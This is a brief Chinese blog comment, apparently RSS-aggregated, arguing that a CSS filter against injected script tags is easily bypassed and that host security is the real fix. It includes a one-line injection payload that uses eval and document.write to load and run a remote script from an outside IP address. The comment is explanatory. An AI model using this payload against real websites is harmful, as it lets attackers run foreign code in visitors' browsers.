主要目的是用css解决script标签里的http，这种方法治标不治本，我觉得防掉很难的，根治办法就是主机安全，不给别人黑掉的机会
突破方法有N种，最简单的突破办法，不把src=http放在<script>标签里。
代码：
<script>eval(document.write("<script src=http://192.168.8.100/1.js><\/script>"))</script>
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。
